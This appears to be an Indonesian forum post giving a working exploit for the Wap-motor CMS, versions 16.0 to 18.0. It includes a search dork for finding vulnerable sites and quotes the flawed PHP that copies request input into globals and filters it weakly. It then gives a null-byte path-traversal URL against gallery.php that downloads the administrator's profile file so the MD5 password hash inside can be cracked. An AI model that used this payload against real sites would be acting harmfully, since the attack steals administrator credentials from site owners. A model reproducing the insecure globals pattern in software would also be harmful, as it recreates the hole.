Old school Easter eggs.

Product : Wap-motor
Made by : Vantuz
Version : v 16.0 - 18.0
dork: "Powered by Wap-motor"
site: http://visavi.net
download: http://visavi.net/download/down.php?action=ob&did=wap-motor16&fid=MOTOR18.zip&
Download Artikel
http://administrator.wen.ru/motor16.0-18.0.txt

untuk wap motor versi 18.0 kebawah, terdapat bug yang dapat kita gunakan untuk meremote file. Dikarenakan terjadi kesalahan penulisan script oleh Vantuz,
Kita ketahui WapWotor menggunakan database bukan MYSQL jadi dengan sangat mudah kita bisa mencuri informasi (Password) dari Super Admin di Folder Local.
langsung aja..
http://situs.target/gallery/gallery.php
perhatikan kesalahan script gallery.php dibawah ini
PHP code:
file :./template/regglobals.php
... if (!ini_get('register_globals')) {
while(list($key,$value)=each($_GET)) $GLOBALS [$key]=$value;
while(list($key,$value)=each($_POST)) $GLOBALS [$key]=$value;
while(list($key,$value)=each($_SESSION)) $GLOBALS [$key]=$value;
}... foreach ($_GET as $check_url) {
if ((eregi("]*script*\"?[^>]*>", $check_url)) || (eregi("<[^>]*object*\"?[^>]*>", $check_url)) ||
(eregi("<[^>]*iframe*\"?[^>]*>", $check_url)) || (eregi("<[^>]*applet*\"?[^>]*>", $check_url)) ||
(eregi("<[^>]*meta*\"?[^>]*>", $check_url)) || (eregi ("<[^>]*style*\"?[^>]*>", $check_url)) ||
(eregi("<[^>]*form*\"?[^>]*>", $check_url)) || (eregi ("\([^>]*\"?[^)]*\)", $check_url)) ||
(eregi("\"", $check_url)) || (eregi("\'", $check_url)) || (eregi("\./", $check_url)) ||
(eregi("//", $check_url)) || (eregi("<", $check_url)) || (eregi(">", $check_url))) {
header ("Location: ".BASEDIR."index.php?isset=403&".SID); exit;
}...
Perhatikan Script!!
1. while (list ($ key, $ value) = each ($ _GET)) $ GLOBALS [$ key] = $ value;
2. foreach ($ _GET as $ check_url)...
3. $ ext = strtolower (substr ($ image, strrpos ($ image, '.') + 1));
4. header ( 'Content-Disposition: inline; filename ="'.$ image.'"');
header ( "Content-type: image / $ ext");
header ( "Content-Length:". strlen ($ filename));
echo $ filename;
Yup dengan melihat scrip diatas, apabila kita meng akses
link seperti ini (Unt pengguna HP, Gunakan browser Opera Symbian bukan Operamini)
http://situs.target/gallery/gallery.php?image=%00../../local/profil/NamaAdmin.prof%00.gif
maka dengan kata lain kita akan mendownload file NamaAdmin.prof yang didalamnya terdapat password encrypt MD5. Kunjungi http://milw0rm.com untuk decryp password tersebut
keterangan,
image =%00 - Nulle-byte untuk memberhentikan proses eregi (). (Thanks for the article Elekt'u fatal mistake Php. Part Two.)